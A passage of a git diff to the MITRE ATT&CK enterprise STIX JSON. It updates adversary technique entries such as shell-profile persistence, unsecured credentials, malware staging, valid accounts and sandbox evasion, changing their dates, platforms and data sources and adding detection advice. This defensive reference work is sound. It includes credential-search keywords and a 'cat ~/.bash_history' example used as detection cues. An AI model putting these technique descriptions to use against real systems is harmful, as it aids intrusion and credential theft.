in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session. \n\nFor macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh) The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup.", + "id": "attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "modified": "2021-03-08T15:22:54.089Z", + "created": "2020-01-24T14:13:45.936Z", + "x_mitre_contributors": [ + "Robert Wilson", + "Tony Lambert, Red Canary" + ], + "x_mitre_version": "2.0", + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "x_mitre_detection": "While users may customize their shell profile files, there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.\n\nMonitor for changes to /etc/profile and /etc/profile.d, these files should only be modified by system administrators. MacOS users can leverage Endpoint Security Framework file events monitoring these specific files.(Citation: ESF_filemonitor) \n\nFor most Linux and macOS systems, a list of file paths for valid shell options available on a system are located in the /etc/shells file.\n", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "File: File Creation", + "File: File Modification" + ], + "x_mitre_platforms": [ + "Linux", + "macOS" + ] + }, { "id": "attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517", "description": "Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).", @@ -33321,18 +34990,18 @@ "phase_name": "credential-access" } ], - "modified": "2020-10-15T19:39:36.109Z", + "modified": "2021-04-12T18:32:33.620Z", "created": "2020-02-04T12:47:23.631Z", "x_mitre_platforms": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", "Linux", "macOS", - "Windows", - "AWS", - "GCP", - "Azure", - "Office 365", - "Azure AD", - "SaaS" + "Google Workspace", + "Containers" ], "x_mitre_permissions_required": [ "User", @@ -33340,22 +35009,19 @@ "SYSTEM" ], "x_mitre_is_subtechnique": false, - "x_mitre_version": "1.1", + "x_mitre_version": "1.2", "x_mitre_detection": "While detecting adversaries accessing credentials may be difficult without knowing they exist in the environment, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.\n\nMonitor for suspicious file access activity, specifically indications that a process is reading multiple files in a short amount of time and/or using command-line arguments indicative of searching for credential material (ex: regex patterns). These may be indicators of automated/scripted credential access behavior.\n\nMonitoring when the user's .bash_history is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like cat ~/.bash_history.\n\nAdditionally, monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.", "x_mitre_data_sources": [ - "Azure activity logs", - "Authentication logs", - "AWS CloudTrail logs", - "Windows event logs", - "File monitoring", - "Windows Registry", - "Process monitoring", - "Process command-line parameters" + "Command: Command Execution", + "File: File Access", + "Process: Process Creation", + "User Account: User Account Authentication", + "Windows Registry: Windows Registry Key Access" ] }, { "id": "attack-pattern--59bd0dec-f8b2-4b9a-9141-37a1e6899761", - "description": "Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure.\n\nCloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected.\n\nA variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity. For example, AWS GuardDuty is not supported in every region.(Citation: AWS Region Service Table)\n\nAn example of adversary use of unused AWS regions is to mine cryptocurrency through [Resource Hijacking](https://attack.mitre.org/techniques/T1496), which can cost organizations substantial amounts of money over time depending on the processing power used.(Citation: CloudSploit - Unused AWS Regions)", + "description": "Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure.\n\nCloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected.\n\nA variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity.\n\nAn example of adversary use of unused AWS regions is to mine cryptocurrency through [Resource Hijacking](https://attack.mitre.org/techniques/T1496), which can cost organizations substantial amounts of money over time depending on the processing power used.(Citation: CloudSploit - Unused AWS Regions)", "name": "Unused/Unsupported Cloud Regions", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -33363,19 +35029,14 @@ ], "external_references": [ { - "external_id": "T1535", "source_name": "mitre-attack", + "external_id": "T1535", "url": "https://attack.mitre.org/techniques/T1535" }, { - "source_name": "AWS Region Service Table", - "url": "https://aws.amazon.com/about-aws/global-infrastructure/regional-product-services/", - "description": "Amazon. (2019, October 22). Region Table. Retrieved October 22, 2019." - }, - { - "source_name": "CloudSploit - Unused AWS Regions", + "description": "CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019.", "url": "https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc", - "description": "CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019." + "source_name": "CloudSploit - Unused AWS Regions" } ], "type": "attack-pattern", @@ -33385,28 +35046,99 @@ "phase_name": "defense-evasion" } ], - "modified": "2020-07-14T19:17:44.563Z", + "modified": "2021-04-22T16:46:43.876Z", "created": "2019-09-04T14:35:04.617Z", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ - "AWS", - "GCP", - "Azure" + "IaaS" ], "x_mitre_contributors": [ "Netskope" ], - "x_mitre_version": "1.0", + "x_mitre_version": "1.1", "x_mitre_data_sources": [ - "Stackdriver logs", - "Azure activity logs", - "AWS CloudTrail logs" + "Instance: Instance Creation" ], "x_mitre_permissions_required": [ "User" ], "x_mitre_detection": "Monitor system logs to review activities occurring across all cloud environments and regions. Configure alerting to notify of activity in normally unused regions or if the number of instances active in a region goes above a certain threshold.(Citation: CloudSploit - Unused AWS Regions)" }, + { + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1608.001", + "url": "https://attack.mitre.org/techniques/T1608/001" + }, + { + "source_name": "Volexity Ocean Lotus November 2020", + "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/", + "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Upload Malware", + "description": "Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.\n\nMalware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Malware can also be staged on web services, such as GitHub or Pastebin.(Citation: Volexity Ocean Lotus November 2020)\n\nAdversaries may upload backdoored files, such as application binaries, virtual machine images, or container images, to third-party software stores or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub). By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). [Masquerading](https://attack.mitre.org/techniques/T1036) may increase the chance of users mistakenly executing these files.", + "id": "attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "modified": "2021-04-26T18:40:15.732Z", + "created": "2021-03-17T20:09:13.222Z", + "x_mitre_contributors": [ + "Kobi Haimovich, CardinalOps" + ], + "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [User Execution](https://attack.mitre.org/techniques/T1204) or [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).", + "x_mitre_version": "1.0", + "x_mitre_is_subtechnique": true, + "x_mitre_platforms": [ + "PRE" + ] + }, + { + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1608.002", + "url": "https://attack.mitre.org/techniques/T1608/002" + }, + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Upload Tool", + "description": "Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.\n\nTools may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).(Citation: Dell TG-3390) Tools can also be staged on web services, such as an adversary controlled GitHub repo.\n\nAdversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.", + "id": "attack-pattern--506f6f49-7045-4156-9007-7474cb44ad6d", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "modified": "2021-04-26T18:41:37.444Z", + "created": "2021-03-17T20:31:07.828Z", + "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).", + "x_mitre_version": "1.0", + "x_mitre_is_subtechnique": true, + "x_mitre_platforms": [ + "PRE" + ] + }, { "external_references": [ { @@ -33448,23 +35180,26 @@ "phase_name": "lateral-movement" } ], - "modified": "2020-09-16T19:40:44.714Z", + "modified": "2021-04-14T18:09:47.427Z", "created": "2020-01-30T16:18:36.873Z", - "x_mitre_version": "1.0", + "x_mitre_version": "1.1", "x_mitre_is_subtechnique": false, "x_mitre_defense_bypassed": [ "System Access Controls" ], "x_mitre_detection": "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).", "x_mitre_data_sources": [ - "Office 365 audit logs", - "OAuth audit logs", - "Authentication logs" + "Logon Session: Logon Session Creation", + "Web Credential: Web Credential Usage", + "Application Log: Application Log Content", + "User Account: User Account Authentication", + "Active Directory: Active Directory Credential Request" ], "x_mitre_platforms": [ "Windows", "Office 365", - "SaaS" + "SaaS", + "Google Workspace" ] }, { @@ -33520,8 +35255,9 @@ "x_mitre_is_subtechnique": true, "x_mitre_detection": "User activity-based checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. ", "x_mitre_data_sources": [ - "Process command-line parameters", - "Process use of network" + "Process: Process Creation", + "Command: Command Execution", + "Process: OS API Execution" ], "x_mitre_contributors": [ "Deloitte Threat Library Team" @@ -33533,15 +35269,6 @@ ] }, { - "created": "2018-04-18T17:59:24.739Z", - "modified": "2020-03-11T14:55:56.315Z", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "type": "attack-pattern", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -33556,11 +35283,28 @@ "name": "User Execution", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "id": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", - "x_mitre_version": "1.2", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "modified": "2021-04-20T16:34:09.236Z", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_version": "1.3", "x_mitre_data_sources": [ - "Anti-virus", - "Process command-line parameters", - "Process monitoring" + "Application Log: Application Log Content", + "Instance: Instance Start", + "Instance: Instance Creation", + "Image: Image Creation", + "Command: Command Execution", + "Container: Container Start", + "Container: Container Creation", + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Content", + "File: File Creation", + "Process: Process Creation" ], "x_mitre_detection": "Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).", "x_mitre_permissions_required": [ @@ -33569,7 +35313,9 @@ "x_mitre_platforms": [ "Linux", "Windows", - "macOS" + "macOS", + "IaaS", + "Containers" ], "x_mitre_contributors": [ "Oleg Skulkin, Group-IB" @@ -33640,8 +35386,8 @@ ], "x_mitre_detection": "Detection efforts should be placed finding differences between VBA source code and p-code.(Citation: Walmart Roberts Oct 2018) VBA code can be extracted from p-code before execution with tools such as the pcodedmp disassembler. The oletools toolkit leverages the pcodedmp disassembler to detect VBA stomping by comparing keywords present in the VBA source code and p-code.(Citation: pcodedmp Bontchev)(Citation: oletools toolkit)\n\nIf the document is opened with a Graphical User Interface (GUI) the malicious p-code is decompiled and may be viewed. However, if the PROJECT stream, which specifies the project properties, is modified in a specific way the decompiled VBA code will not be displayed. For example, adding a module name that is undefined to the PROJECT stream will inhibit attempts of reading the VBA source code through the GUI.(Citation: FireEye VBA stomp Feb 2020)", "x_mitre_data_sources": [ - "Process monitoring", - "File monitoring" + "Script: Script Execution", + "File: File Content" ], "x_mitre_contributors": [ "Rick Cole, FireEye" @@ -33725,8 +35471,8 @@ ], "x_mitre_detection": "Monitor for malicious usage of system calls, such as ptrace and mmap, that can be used to attach to, manipulate memory, then redirect a processes' execution path. Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", "x_mitre_data_sources": [ - "System calls", - "Process monitoring" + "Process: OS API Execution", + "Module: Module Load" ], "x_mitre_platforms": [ "Linux" @@ -33767,9 +35513,9 @@ "VNC server installed and listening for connections." ], "x_mitre_data_sources": [ - "Process use of network", - "Network protocol analysis", - "Netflow/Enclave netflow" + "Process: Process Creation", + "Network Traffic: Network Connection Creation", + "Logon Session: Logon Session Creation" ], "x_mitre_detection": "Use of VNC may be legitimate depending on the environment and how it\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with VNC.", "x_mitre_version": "1.0", @@ -33829,14 +35575,12 @@ "phase_name": "initial-access" } ], - "modified": "2020-10-19T16:01:22.724Z", + "modified": "2021-04-12T18:27:52.298Z", "created": "2017-05-31T21:31:00.645Z", - "x_mitre_version": "2.1", + "x_mitre_version": "2.2", "x_mitre_data_sources": [ - "AWS CloudTrail logs", - "Stackdriver logs", - "Authentication logs", - "Process monitoring" + "User Account: User Account Authentication", + "Logon Session: Logon Session Creation" ], "x_mitre_defense_bypassed": [ "Firewall", @@ -33856,17 +35600,18 @@ "Administrator" ], "x_mitre_platforms": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", "Linux", "macOS", - "Windows", - "AWS", - "GCP", - "Azure", - "SaaS", - "Office 365", - "Azure AD" + "Google Workspace", + "Containers" ], "x_mitre_contributors": [ + "Yossi Weizman, Azure Defender Research Team", "Netskope", "Mark Wee", "Praetorian" @@ -33933,10 +35678,8 @@ ], "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of verclsid.exe. Compare recent invocations of verclsid.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of verclsid.exe may also be useful in determining the origin and purpose of the payload being executed. Depending on the environment, it may be unusual for verclsid.exe to have a parent process of a Microsoft Office product. It may also be unusual for verclsid.exe to have any child processes or to make network connections or file modifications.", "x_mitre_data_sources": [ - "Process use of network", - "Process command-line parameters", - "Process monitoring", - "File monitoring" + "Process: Process Creation", + "Command: Command Execution" ], "x_mitre_contributors": [ "Rodrigo Garcia, Red Canary" @@ -33946,9 +35689,19 @@ ] }, { - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + "created": "2017-05-31T21:31:37.917Z", + "modified": "2020-07-14T19:40:47.644Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } ], + "type": "attack-pattern", + "id": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Video Capture", + "description": "An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen.\n\nIn macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)", "external_references": [ { "source_name": "mitre-attack", @@ -33966,37 +35719,26 @@ "source_name": "objective-see 2017 review" } ], - "description": "An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen.\n\nIn macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)", - "name": "Video Capture", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "id": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "collection" - } - ], - "modified": "2020-07-14T19:40:47.644Z", - "created": "2017-05-31T21:31:37.917Z", - "x_mitre_is_subtechnique": false, - "x_mitre_version": "1.0", - "x_mitre_contributors": [ - "Praetorian" - ], - "x_mitre_data_sources": [ - "Process monitoring", - "File monitoring", - "API monitoring" - ], - "x_mitre_detection": "Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.", - "x_mitre_permissions_required": [ - "User" + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_platforms": [ "Windows", "macOS" - ] + ], + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_detection": "Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.", + "x_mitre_data_sources": [ + "Process: OS API Execution", + "Command: Command Execution" + ], + "x_mitre_contributors": [ + "Praetorian" + ], + "x_mitre_version": "1.0", + "x_mitre_is_subtechnique": false }, { "external_references": [ @@ -34016,7 +35758,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Virtual Private Server", - "description": "Before compromising a victim, adversaries may rent Virtual Private Servers (VPSs)\u00a0that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure.\n\nAcquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease)", + "description": "Adversaries may rent Virtual Private Servers (VPSs)\u00a0that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure.\n\nAcquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease)", "id": "attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795", "type": "attack-pattern", "kill_chain_phases": [ @@ -34025,7 +35767,7 @@ "phase_name": "resource-development" } ], - "modified": "2020-10-22T17:58:32.476Z", + "modified": "2021-04-15T02:52:41.901Z", "created": "2020-10-01T00:44:23.935Z", "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", "x_mitre_version": "1.0", @@ -34052,7 +35794,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Virtual Private Server", - "description": "Before compromising a victim, adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. Adversaries may compromise VPSs purchased by third-party entities. By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.(Citation: NSA NCSC Turla OilRig)\n\nCompromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party.", + "description": "Adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. Adversaries may compromise VPSs purchased by third-party entities. By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.(Citation: NSA NCSC Turla OilRig)\n\nCompromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party.", "id": "attack-pattern--39cc9f64-cf74-4a48-a4d8-fe98c54a02e0", "type": "attack-pattern", "kill_chain_phases": [ @@ -34061,7 +35803,7 @@ "phase_name": "resource-development" } ], - "modified": "2020-10-22T18:01:45.792Z", + "modified": "2021-04-15T03:03:59.919Z", "created": "2020-10-01T00:55:17.771Z", "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", "x_mitre_version": "1.0", @@ -34071,19 +35813,6 @@ ] }, { - "created": "2019-04-17T22:22:24.505Z", - "modified": "2020-07-01T16:32:02.272Z", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "discovery" - } - ], - "type": "attack-pattern", "id": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", "description": "Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors. \n\nAdversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)\n\n", "name": "Virtualization/Sandbox Evasion", @@ -34103,6 +35832,19 @@ "description": "Falcone, R., Wartell, R.. (2015, July 27). UPS: Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved April 23, 2019." } ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "modified": "2021-04-21T15:16:10.835Z", + "created": "2019-04-17T22:22:24.505Z", "x_mitre_is_subtechnique": false, "x_mitre_defense_bypassed": [ "Anti-virus", @@ -34120,20 +35862,23 @@ "Linux" ], "x_mitre_data_sources": [ - "Process monitoring", - "Process command-line parameters" + "Process: Process Creation", + "Command: Command Execution", + "Process: OS API Execution" ], "x_mitre_detection": "Virtualization, sandbox, user activity, and related discovery techniques will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.", "x_mitre_version": "1.2" }, { - "id": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", - "description": "Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft)\n\nDerivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript/JScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)\n\nAdversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads.", - "name": "Visual Basic", - 